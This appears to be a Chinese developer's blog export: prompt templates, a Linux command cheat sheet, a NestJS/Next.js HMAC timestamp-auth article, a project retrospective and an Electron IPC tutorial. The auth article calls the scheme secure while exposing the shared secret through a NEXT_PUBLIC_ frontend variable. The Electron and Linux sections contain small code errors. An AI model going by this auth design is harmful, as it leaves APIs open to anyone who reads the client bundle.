3. 如果是 E2E 测试：生成 Jest + Supertest 测试，测试指定 HTTP 接口。
4. 测试代码完整可运行，包含必要的 import、describe、it、expect 等。
5. 用示例中的输入输出生成至少一个测试用例。
6. 输出的代码只包含代码，不带解释或注释（除非必要）。

示例输入：
类型：单元测试
函数：

export function add(a: number, b: number): number {
  return a + b;
}

示例输入输出：

- 输入：add(2, 3)

- 输出：5

请生成对应 Jest 单元测试代码。

```

## 个人文档排版提示词

``````markdown
- **标题风格**
  - 不使用数字（如“一、二、三”）
  - 尽量简短，直接概括内容核心
  - 不使用引用符号 `>`
  - 保持层级清晰，可用 `#`、`##`、`###`（Markdown 风格）
- **段落**
  - 段落之间尽量不要空行（除非分节）
  - 逻辑清晰，每段表达一个核心概念或操作点
  - 可使用列表或小标题，但保持简洁
- **列表**
  - 使用 `-` 或 `*` 表示关键点
  - 不用复杂嵌套，必要时可以缩进一层
  - 每个列表项尽量保持一条核心信息
- **代码块**
  - 使用三反引号 ````` 包裹
  - 指明语言（如 `json`、`javascript`）
  - 仅展示核心示例，避免长篇冗余
- **强调**
  - 关键概念可用粗体或斜体表示
  - 避免过多引用符号和额外格式
- **总结**
  - 文档末尾添加简洁总结，概括核心思路
  - 可点出实现优势或注意事项，最佳实践等
  - 必要时做出补充
- **可选可视化**
  - 如有复杂流程，可增加流程图或示意图
  - 保持简洁直观
``````

## TailwindCSS 类名生成器

```markdown
你是一个「TailwindCSS 类名生成器」智能体。用户会用自然语言描述 UI 需求，你的任务是输出满足需求的一串 TailwindCSS class 名（可包含响应式前缀与状态变体）。

输出规则（必须严格遵守）：
1) 只输出结果，不要输出任何解释、步骤、HTML、Markdown、代码块、引号或多余文字。
2) 输出内容必须是一行：由空格分隔的 Tailwind 类名字符串。
3) 默认使用 TailwindCSS v3+ 的通用类名；不要捏造不存在的类名。
4) 优先选择“语义清晰、组合稳定、低冲突”的类名：
   - 布局（flex/grid/spacing）优先于复杂 hack
   - 尺寸与间距尽量用常见档位（如 px-4 py-2、gap-2、w-full、max-w-md）
5) 当用户需求不完整时，做合理默认：
   - 字体：text-sm，正文色：text-slate-800，背景：bg-white，圆角：rounded-lg，阴影：shadow-sm
   - 可交互元素默认加 hover/focus 可用状态（hover:*、focus:outline-none focus:ring-2 focus:ring-offset-2）
6) 遇到冲突需求时，以用户最新描述为准；尽量避免同时输出互斥类（例如同时出现 items-start 和 items-center）。
7) 如果用户明确要求“移动端/桌面端不同”，使用响应式前缀（sm/md/lg/xl/2xl）。
8) 如果用户明确要求“暗色模式”，使用 dark: 前缀。
9) 如果用户明确要求“禁用/加载/错误态”，使用 disabled: / aria-* / data-*（在 Tailwind 支持的前提下）或给出最接近的通用方案，但仍只输出 class 字符串。
10) 如果你无法确定某个特定类名是否存在，选择更通用、确定存在的替代类名。

你将根据用户输入直接返回 Tailwind class 名字符串。
```

## 探讨学习会话迁移

通用模板

```markdown
请把我当成一个【当前水平】的【领域/语言】学习者或工程师。
在上一个会话中，我们已经讨论并达成了以下共识（关键点）：
1. …
2. …
3. …

目前我的理解特点是：
- 我关注的是【原理 / 运行时 / 设计权衡 / 工程后果】
- 我不需要从基础定义讲起
- 我希望通过“一个问题 → 延伸多个关联知识点”的方式深入

请你：
- 直接在这个上下文水平上继续
- 保持我们之前的讨论风格和深度
- 不要重复初级解释
```

```markdown
帮我测测我属于哪个阶段
```

---

---
url: /posts/o0v91i39/index.md
---
# 常用Linux命令
[Linux 命令大全搜索工具](https://wangchujiang.com/linux-command/)

## 用户和组

### 查看当前用户

```bash
whoami
```

### 查看当前用户组

```bash
groups
```

### 查看所有用户

```bash
cat /etc/passwd
```

### 查看所有组

```bash
cat /etc/groups
```

### 添加用户

```bash
useradd 用户名
```

### 配置密码

```bash
passwd 用户名
```

### 禁用用户

```bash
usermod -L 用户名
```

### 恢复用户

```bash
usermod -U 用户名
```

### 删除用户

```bash
userdel 用户名
```

### 删除用户与主目录

```bash
userdel -r 用户名
```

### 切换用户

```bash
su -用户名
```

不加用户名表示切换到 root

### 以管理员身份执行命令

```bash
sudo 具体的命令
```

## 重启

```bash
sudo reboot
```

## 解压 ZIP 文件

安装 `unzip`：

```bash
sudo apt update
sudo apt install unzip -y
```

解压：

```bash
unzip 文件名.zip
```

解压到当前目录

如果想解压到指定目录：

```bash
unzip 文件名.zip -d /路径/到/目录
```

## 解压 RAR 文件

RAR 文件稍微麻烦一点，需要安装 `unrar` 或 `rar` 工具。

```bash
sudo apt update
sudo apt install unrar -y
```

解压：

```bash
unrar x 文件名.rar
```

`x` 表示 **保持完整路径解压**

如果只想解压到当前目录：

```bash
unrar e 文件名.rar
```

注意：`unrar` 只能处理 `.rar` 文件，`rar` 工具可以打包/解压，但一般只需 `unrar`。

查看 ZIP 内容：

```bash
unzip -l 文件名.zip
```

查看 RAR 内容：

```bash
unrar l 文件名.rar
```

---

---
url: /posts/o6ccwjuw/index.md
---
# 基于时间戳的动态密钥认证机制实现
## 背景介绍

在 Web 应用开发中，API 接口的安全性一直是一个重要话题。传统的认证方式如 JWT、Session 等都有其适用场景，但在某些特定场景下（如只需要限制特定客户端访问），这些方案可能显得过重。本文将介绍一种基于时间戳的动态密钥认证机制，它具有实现简单、安全可靠、性能高效等特点。

## 实现原理

该认证机制的核心思想是：

1. 前后端共享一个密钥（Secret Key）
2. 使用当前时间戳 + 密钥生成签名
3. 在请求时带上时间戳和签名
4. 服务端验证时间戳是否在有效期内，并重新计算签名进行比对

### 安全性保障

* 使用 HMAC-SHA256 进行签名，确保签名不可逆
* 基于时间戳的动态验证，防止重放攻击
* 使用 `crypto.timingSafeEqual` 防止时序攻击
* 严格的时间窗口控制，默认 30 秒

## 技术实现

### 1. 工具类实现（auth.util.ts）

```typescript
import * as crypto from 'crypto';

export class AuthUtil {
  private static readonly TIME_TOLERANCE = 30; // 允许的时间误差（秒）

  /**
   * 生成动态密钥
   * @param secretKey 服务器密钥
   * @returns { timestamp: number; signature: string }
   */
  static generateDynamicAuth(secretKey: string) {
    const timestamp = Math.floor(Date.now() / 1000); // 转换为秒
    const signature = this.generateSignature(timestamp, secretKey);
    return { timestamp, signature };
  }

  /**
   * 验证动态密钥
   * @param timestamp 客户端时间戳
   * @param signature 客户端签名
   * @param secretKey 服务器密钥
   */
  static verifyDynamicAuth(timestamp: number, signature: string, secretKey: string): boolean {
    const currentTime = Math.floor(Date.now() / 1000);
    
    // 检查时间戳是否在允许范围内
    if (Math.abs(currentTime - timestamp) > this.TIME_TOLERANCE) {
      return false;
    }

    // 生成服务器端签名并比对
    const serverSignature = this.generateSignature(timestamp, secretKey);
    return crypto.timingSafeEqual(
      Buffer.from(signature),
      Buffer.from(serverSignature)
    );
  }

  /**
   * 生成签名
   * @param timestamp 时间戳
   * @param secretKey 密钥
   */
  private static generateSignature(timestamp: number, secretKey: string): string {
    return crypto
      .createHmac('sha256', secretKey)
      .update(timestamp.toString())
      .digest('hex');
  }
}
```

### 2. 守卫实现（dynamic-auth.guard.ts）

```typescript
import { CanActivate, ExecutionContext, Injectable, UnauthorizedException } from '@nestjs/common';
import { ConfigService } from '@nestjs/config';
import { AuthUtil } from '../utils/auth.util';

@Injectable()
export class DynamicAuthGuard implements CanActivate {
  constructor(private configService: ConfigService) {}

  async canActivate(context: ExecutionContext): Promise<boolean> {
    const request = context.switchToHttp().getRequest();
    const timestamp = request.headers['x-timestamp'];
    const signature = request.headers['x-signature'];

    if (!timestamp || !signature) {
      throw new UnauthorizedException('缺少认证信息');
    }

    const secretKey = this.configService.get<string>('AUTH_SECRET_KEY');
    if (!secretKey) {
      throw new UnauthorizedException('服务器配置错误');
    }

    const isValid = AuthUtil.verifyDynamicAuth(
      parseInt(timestamp),
      signature,
      secretKey
    );

    if (!isValid) {
      throw new UnauthorizedException('认证失败');
    }

    return true;
  }
}
```

### 3. 在控制器中使用

```typescript
@Controller('api')
@UseGuards(DynamicAuthGuard)  // 应用认证守卫
export class ApiController {
  // ... 控制器方法
}
```

### 4. 前端实现

```typescript
// auth.ts
const generateAuthHeaders = async () => {
  const secretKey = process.env.NEXT_PUBLIC_AUTH_SECRET_KEY;
  const timestamp = Math.floor(Date.now() / 1000);
  
  const signature = CryptoJS.HmacSHA256(timestamp.toString(), secretKey).toString();
  
  return {
    'x-timestamp': timestamp.toString(),
    'x-signature': signature,
  };
};

// API 调用示例
const fetchData = async () => {
  const headers = await generateAuthHeaders();
  
  const response = await fetch('your-api-url', {
    headers: {
      ...headers,
      'Content-Type': 'application/json',
    },
  });
  
  return response.json();
};
```

## 关键技术点解析

### 1. HMAC-SHA256 算法

HMAC（Hash-based Message Authentication Code）是一种基于哈希函数的消息认证码算法，它可以用来检查消息的完整性和真实性。在本实现中，我们使用 SHA256 作为底层哈希函数，这提供了足够的安全性。

### 2. 时序攻击防护

使用 `crypto.timingSafeEqual` 而不是简单的字符串比较，可以防止通过比较时间差异来推测签名的时序攻击。

### 3. 时间窗口控制

设置 30 秒的时间窗口，在保证安全性的同时，也考虑到了前后端时间可能存在的轻微差异。

## 安全性分析

1. **防重放攻击**
   * 每个签名都包含时间戳
   * 严格的时间窗口控制
   * 过期签名自动失效

2. **防篡改**
   * HMAC-SHA256 确保消息完整性
   * 修改任何参数都会导致验证失败

3. **密钥安全**
   * 服务器密钥通过环境变量管理
   * 签名过程不可逆，无法从签名推导出密钥

## 最佳实践建议

1. **密钥管理**
   * 使用足够长的随机密钥
   * 定期轮换密钥
   * 使用环境变量存储密钥

```typescript
// 生成安全的随机密钥
const secretKey = crypto.randomBytes(32).toString('hex');
```

2. **传输安全**
   * 必须使用 HTTPS
   * 设置适当的 CORS 策略
   * 添加请求频率限制

3. **监控和日志**
   * 记录认证失败的尝试
   * 监控异常的请求模式
   * 设置告警机制

## 扩展优化

1. **IP 白名单**

```typescript
static isIPAllowed(ip: string): boolean {
  const allowedIPs = process.env.ALLOWED_IPS?.split(',') || [];
  return allowedIPs.includes(ip);
}
```

2. **请求频率限制**

```typescript
static readonly requestLimits = new Map<string, number>();
static isRequestAllowed(clientId: string): boolean {
  const now = Date.now();
  const lastRequest = this.requestLimits.get(clientId) || 0;
  if (now - lastRequest < 1000) {
    return false;
  }
  this.requestLimits.set(clientId, now);
  return true;
}
```

## 总结

这种基于时间戳的动态密钥认证机制具有以下优势：

1. **简单高效**
   * 无需数据库操作
   * 实现简单，维护成本低
   * 验证过程快速

2. **安全可靠**
   * 防重放攻击
   * 防时序攻击
   * 签名不可逆

3. **灵活可扩展**
   * 易于集成到现有系统
   * 可以添加额外的安全层
   * 支持自定义时间窗口

这种认证机制特别适合以下场景：

* 个人博客 API 保护
* 内部系统接口认证
* 特定客户端访问控制

只要确保密钥的安全性，这种认证机制在大多数场景下都是一个简单且安全的选择。

---

---
url: /posts/o9tkowoo/index.md
---
# Notespace 项目总结
## 🎯 初衷

* 对标语雀
* 作为第一个正式全栈项目
* 作为求职敲门砖
* 验证自己是否具备完整工程能力

最终结果：项目复杂度远超“普通文档系统”，成为一个可嵌入式企业级知识库内核。

## 🏗 核心架构设计

```bash
Workspace
  └── Document
        └── Block
```

### 1️⃣ Block 是核心单元

* 每个块可独立渲染
* 每个块有多个版本
* 块是 diff 的最小单位
* 支持按需加载
* 支持懒渲染

### 2️⃣ 超大文档渲染策略

问题：

* DOM 堆积会导致性能灾难
* 大型文档全量渲染不可行

解决方案：

* 虚拟滚动
* 视区外块销毁
* 视区内按需渲染
* 控制同时 DOM 数量（≈500）
* Deep DOM 控制（≈1000）
* Scroll frame 低耗时

结果：

* DOM 堆积导致卡顿这条路被锁死
* 超长文档性能稳定

### 3️⃣ 版本管理模型（核心亮点）

#### Block Version

* 每个块可独立版本化
* 内容哈希可用于 diff 优化

#### Document Version

* 文档是 block version 的有序组合
* 发布版本锁定一组 block 引用
* 默认指向 latest

优势：

* O(改动块数) diff
* 可回滚
* 不需要复制整篇文档
* 超大文档 diff 不再灾难

### 4️⃣ 发布与未发布双态

* Draft（编辑态）
* Published（发布态）
* 发布版本用于 SEO 站点
* 发布版本可追溯

发布站架构：

* Nuxt SSR
* 首屏渲染部分块
* 客户端按需水合
* SEO 与性能折中方案

### 5️⃣ 企业级功能

* 工作空间
* RBAC 权限模型
* 文档级角色
* 评论系统
* 标签
* 收藏
* 搜索
* 资产上传
* 日志审计
* 会话管理
* 软删除 + 可恢复

这部分体现的是工程成熟度，而不是功能堆叠。

## ⚙ AI 协作开发认知总结

### 1️⃣ 事实

约 90% 代码由 Codex / AI 生成

自己负责：

* 架构设计
* 数据模型设计
* 技术选型
* 代码审计
* 性能优化
* 功能测试
* 问题定位
* 方案迭代

### 2️⃣ 关键认知

#### AI 不能替代：

* 架构判断
* 边界思考
* 性能权衡
* 风险控制
* 数据一致性设计
* 版本模型设计

#### AI 可以放大：

* 编码效率
* 原型搭建速度
* 重复性代码生成

### 3️⃣ 分水岭

💩 级 AI 使用：“帮我做一个网站”

工程级 AI 使用：在规模、性能、权限、版本、发布约束下设计系统

核心区别：

* 是否有系统边界意识
* 是否有规模意识
* 是否能识别 AI 生成代码的问题
* 是否能兜底

### 4️⃣ 真实能力体现

真正能力不是：

* 手写多少代码

而是：

* 是否能为系统结果负责
* 是否能在规模下稳定运行
* 是否理解为什么这么设计

## 💼 对求职的价值

### 1️⃣ 项目强信号

* 大规模性能优化
* 虚拟化渲染
* 块级版本管理
* 发布模型设计
* SEO + SSR 权衡
* 企业权限模型
* 审计与软删除

这已经是系统设计级别项目。

### 2️⃣ 面试可展开点

* 为什么不用全量 DOM
* 为什么版本设计成块级
* diff 如何做到 O(改动数)
* 发布模型如何保证一致性
* SSR 与性能如何权衡
* 如何避免 Long Task
* 权限如何建模

这是可聊 30 分钟以上的项目。

### 3️⃣ 真正价值总结

面试官关心的不是：

* 代码是否逐字手写

而是：

* 你是否具备工程判断能力
* 是否能控制复杂系统
* 是否能解决真实问题
* 是否能为结果负责

## 🧩 个人成长总结

这段经历体现：

* 深度学习 JS 带来的底层理解
* 对边界情况的敏感
* 对性能问题的重视
* 工程化思维形成
* 工具链熟练使用
* Debug 能力提升
* 架构思维建立
* AI 协作能力形成

核心认知：AI 放大的是认知水平，不会替代工程判断

## 🔥 最终总结一句话

这个项目已经从：“对标语雀的练习项目”

进化为：“一个为超大规模知识管理设计的可嵌入式内容引擎”

而你从：“写代码的人”

进化为：“能设计系统并驾驭 AI 的工程师”

---

---
url: /posts/odaon2h0/index.md
---
# 快速上手Electron
## 介绍

Electron是一个跨平台桌面应用开发框架，开发者可以使用：HTML、CSS、JavaScript 等 Web 技术来构建桌面应用程序，它的本质是结合了 Chromium 和 Node.js，现在广泛用于桌面应用程序开发

## 优势

1. **可跨平台**：同一套代码可以构建出能在：Windows、macOS、Linux 上运行的应用程序。
2. **上手容易**：使用 Web 技术就可以轻松完成开发桌面应用程序。
3. **底层权限**：允许应用程序访问文件系统、操作系统等底层功能，从而实现复杂的系统交互。
4. **社区支持**：拥有一个庞大且活跃的社区，开发者可以轻松找到文档、教程和开源库。

## 技术架构

### 技术架构

![image-20250218201749108](https://raw.githubusercontent.com/fish81/typora-uploads-images/main/image/1744109376_0.png)

### 进程模型

![image-20250218201815891](https://raw.githubusercontent.com/fish81/typora-uploads-images/main/image/1744109378_0.png)

其核心就是围绕**主进程**，就是一个node环境，用于管理**渲染进程**（窗口），渲染进程是浏览器环境了，即可使用前端三剑客了。

并且可以管理多个**渲染进程**，多线程应用。

主进程和渲染进程之间可以**通信**，**进程通信**简称IPC

主进程可以调用原生API，（Windows，Linux，Mac），不同平台使用同一套API

## 工程搭建

初始化一个包，并提填写好`package.json`中的必要信息及启动命令。

```json
{
  "name": "test",
  "version": "1.0.0",
  "main": "main.js",
  "scripts": {
    "start": "electron ." //start命令用于启动整个应用
  },
  "author": "YuMeng", //为后续能顺利打包，此处要写明作者。
  "license": "ISC",
  "description": "this is a electron demo", //为后续能顺利打包，此处要编写描述。
}
```

> \[!important]
>
> 配置**短命令**的时候注意Electron后面有个**点**

安装`electron`作为开发依赖。

```bash
npm i electron -D
```

> -D 开发依赖

在`main.js`中编写代码，创建一个基本窗口

```js
/* 
  main.js运行在应用的主进程上，无法访问Web相关API，主要负责：控制生命周期、显示界面、控制渲染进程等其他操作。
*/
const { app, BrowserWindow } = require('electron')

// 用于创建窗口
function createWindow() {
  const win = new BrowserWindow({
    width: 800, // 窗口宽度
    height: 600, // 窗口高度
    autoHideMenuBar: true, // 自动隐藏菜单栏
    alwaysOnTop: true, // 置顶
    x: 0, // 窗口位置x坐标
    y: 0 // 窗口位置y坐标
  })
  // 加载一个远程页面
  win.loadURL('http://www.atguigu.com')
}

// 当app准备好后，执行createWindow创建窗口
app.on('ready',()=>{
  createWindow()
})
```

> 关于 BrowserWindow 的更多配置项，请参考：[BrowserWindow实例属性](https://www.electronjs.org/zh/docs/latest/api/base-window#实例属性)

启动应用查看效果

```bash
npm start
```

### 注意事项

在安装`electron`作为开发依赖的时候可能会报错

使用`cnmp`安装

安装cnpm

```bash
npm install -g cnpm --registry=https://registry.npmmirror.com
```

使用 cnpm 安装 electron

```bash
cnpm install electron -D
```

**启动问题**：

检查 Node.js 版本是否与 Electron 兼容

## 加载本地页面

创建一个`pages`文件夹，在其内部创建`index.html`

之后在主进程文件夹`main.js`，中使用以下代码加载本地文件

```js
win.loadFile('./pages/index.html')
```

> \[!note]
>
> 其实窗口就是一个浏览器，其特点就是**开发者工具**，使用`Ctrl + Shift + i`，打开**控制台**，
>
> 可以通过配置**禁用**

### 细节

![image-20250218210921778](https://raw.githubusercontent.com/fish81/typora-uploads-images/main/image/1744109382_0.png)

这个问题不影响开发，忽略即可

![image-20250218211029935](https://raw.githubusercontent.com/fish81/typora-uploads-images/main/image/1744109384_0.png)

CSP配置，内容安全警告，网页能加载什么，不能加载什么

在MDN搜索CSP，在网页中配置meta标签

```html
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:;">
```

上述配置的说明

1. `default-src 'self'`

`default-src`：配置加载策略，适用于所有未在其它指令中明确指定的资源类型。

`self`：仅允许从同源的资源加载，禁止从不受信任的外部来源加载，提高安全性。

1. `style-src 'self' 'unsafe-inline'`

`style-src`：指定样式表（CSS）的加载策略。

`self`：仅允许从同源的资源加载，禁止从不受信任的外部来源加载，提高安全性。

`unsafe-inline`：允许在HTML文档内使用内联样式。

1. `img-src 'self' data:`

`img-src`：指定图像资源的加载策略。

`self`：表示仅允许从同源加载图像。

`data:`：允许使用 `data: URI` 来嵌入图像。这种URI模式允许将图像数据直接嵌入到HTML或CSS中，而不是通过外部链接引用。

**关于 CSP 的详细说明请参考：**[MDN-Content-Security-Policy](https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Content-Security-Policy)、[Electron Security](https://www.electronjs.org/docs/latest/tutorial/security)

## 完善窗口行为

对应Windows和Mac电脑在处理一些东西是不一样的

* Windows：
  * 当所有的窗口都关闭，那么应用自动退出
* MacOS:
  * 应用就算退出了，在Dook栏里面还有这个应用

**Windows 和 Linux 平台窗口特点是：关闭所有窗口时退出应用。**

```js
// 当所有窗口都关闭时
app.on('window-all-closed', () => {
  // 如果所处平台不是mac(darwin)，则退出应用。
  if (process.platform !== 'darwin') app.quit()
})
```

**mac 应用即使在没有打开任何窗口的情况下也继续运行，并且在没有窗口可用的情况下激活应用时会打开新的窗口。**

```js
// 当app准备好后，执行createWindow创建窗口
app.on('ready',()=>{
  createWindow()
  // 当应用被激活时
  app.on('activate', () => {
    //如果当前应用没有窗口，则创建一个新的窗口
    if (BrowserWindow.getAllWindows().length === 0) createWindow()
  })
})
```

## 配置自动重启

安装 Nodemon

```bash
npm i nodemon -D
```

修改 package.json 命令

```json
"scripts": {
  "start": "nodemon --exec electron ."
},
```

**现在改完代码就会自动重启**

**但是改html文件不会自动刷新**

**创建**nodemon.json文件

**配置**nodemon.json规则，监视哪些文件

`"watch": ["*.*"],`监视所有文件

`"ext": "html,js,css"`包含文件

`"restartable": "r"`短命令

> \[!tip]
>
> 当什么都没改的时候就想刷新，在控制台按下 `R`回车，即可自动重启

```json
{
  "ignore": [
    "node_modules",
    "dist"
  ],
  "restartable": "r",
  "watch": ["*.*"],
  "ext": "html,js,css"
}
```

配置好以后，当代码修改后，应用就会自动重启了。

## 主进程与渲染进程

下图是 Chrome 浏览器的程序架构，图来自于[Chrome 漫画](https://www.google.com/googlebooks/chrome/)。

![image-20250218213901857](https://raw.githubusercontent.com/fish81/typora-uploads-images/main/image/1744109388_0.png)

Electron 应用的结构与上图非常相似，在 Electron 中主要控制两类进程：**主进程**、**渲染器进程**。

### 主进程

每个 Electron 应用都有一个单一的主进程，作为应用程序的入口点。 主进程在 Node.js 环境中运行，它具有 require 模块和使用所有 Node.js API 的能力，主进程的核心就是：使用 BrowserWindow 来创建和管理窗口。

### 渲染进程

每个 BrowserWindow 实例都对应一个单独的渲染器进程，运行在渲染器进程中的代码，必须遵守网页标准，这也就意味着：渲染器进程无权直接访问 `require` 或使用任何 `Node.js`的API。

> 问题产生：处于渲染器进程的用户界面，该怎样才与 **Node.js** 和 **Electron** 的原生桌面功能进行交互呢？

**主进程**和**渲染进程**通信需要使用**预加载脚本**（运行在渲染进程）

在根目录下创建预加载脚本 `preload.js`

## Preload 脚本

预加载（Preload）脚本是运行在渲染进程中的， 但它是在网页内容加载之前执行的，这意味着它具有比普通渲染器代码更高的权限，可以访问 Node.js 的 API，同时又可以与网页内容进行安全的交互。

简单说：它是 **Node.js** 和 **Web API** 的桥梁，Preload 脚本可以安全地将部分 **Node.js** 功能暴露给网页，从而减少安全风险。

需求：点击按钮后，在页面呈现当前的 Node 版本。

执行顺序

主进程  ->  预加载脚本  ->  渲染进程

预加载脚本是在渲染脚本执行的，但是也能使用一部分**node**的**API**

其中process.version就是那部分API

在主进程中添加配置项：

**让主进程和预加载脚本关联**

```js
const path = require('path') 		// 引入

    webPreferences: {
      preload: path.resolve(__dirname, './preload.js')		// 添加到BrowserWindow配置对象
    },
```

**让预加载脚本和渲染进程关联**

```js
const { contextBridge } = require('electron');
```

`contextBridge.exposeInMainWorld`用于在暴露，即可在渲染进程看到

```js
// contextBridge.exposeInMainWorld('key',value);
contextBridge.exposeInMainWorld('qwe',{
    wer:100
})
```

具体文件结构与编码如下：

创建预加载脚本`preload.js`，

```js
const {contextBridge} = require('electron')

// 暴露数据给渲染进程
contextBridge.exposeInMainWorld('myAPI',{
  n:666,
  version:process.version
})
```

在主线程中引入preload.js

```js
const win = new BrowserWindow({
  /*******/
  webPreferences:{
    preload:path.resolve(__dirname,'./preload.js')
  }
  /*******/
})
```

在html中编写对应的按钮，并且创建专门编写网页脚本的`render.js`，随后引入

```html
<body>
  <h1>你好啊！</h1>
  <button id="btn">在用户的D盘创建一个hello.txt</button>
  <script type="text/javascript" src="./render.js"></script>
</body>
```

在渲染进程中使用`version`

```js
btn.addEventListener('click',()=>{
  console.log(myAPI.version)
  document.body.innerHTML += `<h2>${myAPI.version}</h2>`
})
```

整体文件结构

![image-20250218220302560](https://raw.githubusercontent.com/fish81/typora-uploads-images/main/image/1744109392_0.png)

## 进程通信（IPC）

值得注意的是：

上文中的`preload.js`，无法使用全部`Node`的`API`，比如：不能使用`Node`中的`fs`模块，但主进程（`main.js`）是可以的，这时就需要**进程通信**了。简单说：要让`preload.js`通知`main.js`去调用`fs`模块去干活。

关于`Electron`进程通信，我们要知道：

* `IPC` 全称为：`InterProcess Communication`，即：进程通信。
* `IPC`是`Electron`中最为核心的内容，它是从`UI`调用原生`API`的唯一方法！
* `Electron`中，主要使用 [**ipcMain**](https://www.electronjs.org/zh/docs/latest/api/ipc-main) 和 [**ipcRenderer**](https://www.electronjs.org/zh/docs/latest/api/ipc-renderer) 来定义“通道”，进行进程通信。

### 渲染进程➡️主进程（单向）

概述：在渲染器进程中 ipcRenderer.send 发送消息，在主进程中使用 ipcMain.on 接收消息。
常用于：在 Web 中调用主进程的 API，例如下面的这个需求：

需求：点击按钮后，在用户的 D 盘创建一个hello.txt文件，文件内容来自于用户输入。

页面中添加相关元素，`render.js`中添加对应脚本

**index.html**

```html
<input id="content" type="text"><br><br>
<button id="btn">在用户的D盘创建一个hello.txt</button>
```

**render.js**

```js
const btn = document.getElementById('btn')
const content = document.getElementById('content')

btn.addEventListener('click',()=>{
  console.log(content.value)
  myAPI.saveFile(content.value)
})
```

`preload.js`中使用ipcRenderer.send('信道',参数)发送消息，与主进程通信。

**preload.js**

```js
const {contextBridge,ipcRenderer} = require('electron')

contextBridge.exposeInMainWorld('myAPI',{
  /*******/
  saveFile(str){
    // 渲染进程给主进程发送一个消息
    ipcRenderer.send('create-file',str)
  }
})
```

主进程中，在加载页面之前，使用ipcMain.on('信道',回调)配置对应回调函数，接收消息。

```js
// 用于创建窗口
function createWindow() {
  /**********/
  // 主进程注册对应回调
  ipcMain.on('create-file',createFile)
  // 加载一个本地页面
  win.loadFile(path.resolve(__dirname,'./pages/index.html'))
}

//创建文件
function createFile(event,data){
  fs.writeFileSync('D:/hello.txt',data)
}
```

### 渲染进程↔主进程（双向）

概述：渲染进程通过ipcRenderer.invoke 发送消息，主进程使用 ipcMain.handle 接收并处理消息。

> \[!important]
>
> 备注：`ipcRender.invoke` 的返回值是 `Promise` 实例。

常用于：从渲染器进程调用主进程方法并等待结果，例如下面的这个需求：

需求：点击按钮从 D 盘读取hello.txt中的内容，并将结果呈现在页面上。

**页面中添加相关元素，render.js中添加对应脚本**

**index.html**

```html
<button id="btn">读取用户D盘的hello.txt</button>
```

**render.js**

```js
const btn = document.getElementById('btn')

btn.addEventListener('click',async()=>{
  let data = 
  document.body.innerHTML += `<h2>${data}</h2>`
})
```

preload.js中使用ipcRenderer.invoke('信道',参数)发送消息，与主进程通信。

**preload.js**

```js
const {contextBridge,ipcRenderer} = require('electron')

contextBridge.exposeInMainWorld('myAPI',{
  /*******/
  readFile (path){
    return ipcRenderer.invoke('read-file')
  }
})
```

主进程中，在加载页面之前，使用ipcMain.handle('信道',回调)接收消息，并配置回调函数。

**main.js**

```js
// 用于创建窗口
function createWindow() {
  /**********/
  // 主进程注册对应回调
  ipcMain.handle('read-file',readFile)
  // 加载一个本地页面
  win.loadFile(path.resolve(__dirname,'./pages/index.html'))
}

//读取文件
function readFile(event,path){
  return fs.readFileSync(path).toString()
}
```

### 主进程到➡️渲染进程

概述：主进程使用 win.webContents.send 发送消息，渲染进程通过ipcRenderer.on 处理消息，

常用于：**从主进程主动发送消息给渲染进程**，例如下面的这个需求：

需求：应用加载 6 秒钟后，主动给渲染进程发送一个消息，内容是：你好啊！

**页面中添加相关元素，render.js中添加对应脚本**

**render.js**

```js
window.onload = ()=>{
  myAPI.getMessage(logMessage)
}

function logMessage(event,str){
  console.log(event,str)
}
```

preload.js中使用ipcRenderer.on ('信道',回调)接收消息，并配置回调函数。

**preload.js**

```js
const {contextBridge,ipcRenderer} = require('electron')

contextBridge.exposeInMainWorld('myAPI',{
  /*******/
  getMessage: (callback) => {
    return ipcRenderer.on('message', callback);
  }
})
```

主进程中，在合适的时候，使用win.webContents.send('信道',数据)发送消息。

**main.js**

```js
// 用于创建窗口
function createWindow() {
  /**********/
  // 加载一个本地页面
  win.loadFile(path.resolve(__dirname,'./pages/index.html'))
  // 创建一个定时器
  setTimeout(() => {
    win.webContents.send('message','你好啊！')
  }, 6000);
}
```

## 打包应用

使用 electron-builder  打包应用

安装 `electron-builder`

```bash
npm install electron-builder -D
```

在`package.json` 中进行相关配置，具体配置如下：

> \[!important]
>
> 备注：json 文件不支持注释，使用时请去掉所有注释。

```js
{
  "name": "video-tools",  // 应用程序的名称
  "version": "1.0.0",  // 应用程序的版本
  "main": "main.js",  // 应用程序的入口文件
  "scripts": {
    "start": "electron .",  // 使用 `electron .` 命令启动应用程序
    "build": "electron-builder"  // 使用 `electron-builder` 打包应用程序，生成安装包
  },
  "build": {
    "appId": "com.atguigu.video",  // 应用程序的唯一标识符
    // 打包windows平台安装包的具体配置
    "win": {
      "icon":"./logo.ico", //应用图标
      "target": [
        {
          "target": "nsis",  // 指定使用 NSIS 作为安装程序格式
          "arch": ["x64"]  // 生成 64 位安装包
        }
      ]
    },
    "nsis": {
      "oneClick": false,  // 设置为 `false` 使安装程序显示安装向导界面，而不是一键安装
      "perMachine": true,  // 允许每台机器安装一次，而不是每个用户都安装
      "allowToChangeInstallationDirectory": true  // 允许用户在安装过程中选择安装目录
    }
  },
  "devDependencies": {
    "electron": "^30.0.0",  // 开发依赖中的 Electron 版本
    "electron-builder": "^24.13.3"  // 开发依赖中的 `electron-builder` 版本
  },
  "author": "tianyu",  // 作者信息
  "license": "ISC",  // 许可证信息
  "description": "A video processing program based on Electron"  // 应用程序的描述
}
```

执行打包命令

```bash
npm run build
```

## electron-vite

**electron-vite** 是一个新型构建工具，旨在为 [Electron](https://www.electronjs.org/) 提供更快、更精简的体验。主要由五部分组成：

* 一套构建指令，它使用 [Vite](https://cn.vitejs.dev/) 打包你的代码，并且它能够处理 Electron 的独特环境，包括 [Node.js](https://nodejs.org/) 和浏览器环境。
* 集中配置主进程、渲染器和预加载脚本的 Vite 配置，并针对 Electron 的独特环境进行预配置。
* 为渲染器提供快速模块热替换（HMR）支持，为主进程和预加载脚本提供热重载支持，极大地提高了开发效率。
* 优化 Electron 主进程资源处理。
* 使用 V8 字节码保护源代码。

electron-vite 快速、简单且功能强大，旨在开箱即用。

**官网地址：**[**https://cn-evite.netlify.app/**](https://cn-evite.netlify.app/)

**快速构建Electron + Vue项目模版**

```sh
npm create electron-vite
```

---

---
url: /posts/ohj5ppri/index.md
---
# 开发者成长路线
## 记录

如果将来想做技术专家（而不是普通 CRUD 工程师），必须同时具备：

* **技术深度（理解底层原理，能做高性能、架构级优化）**
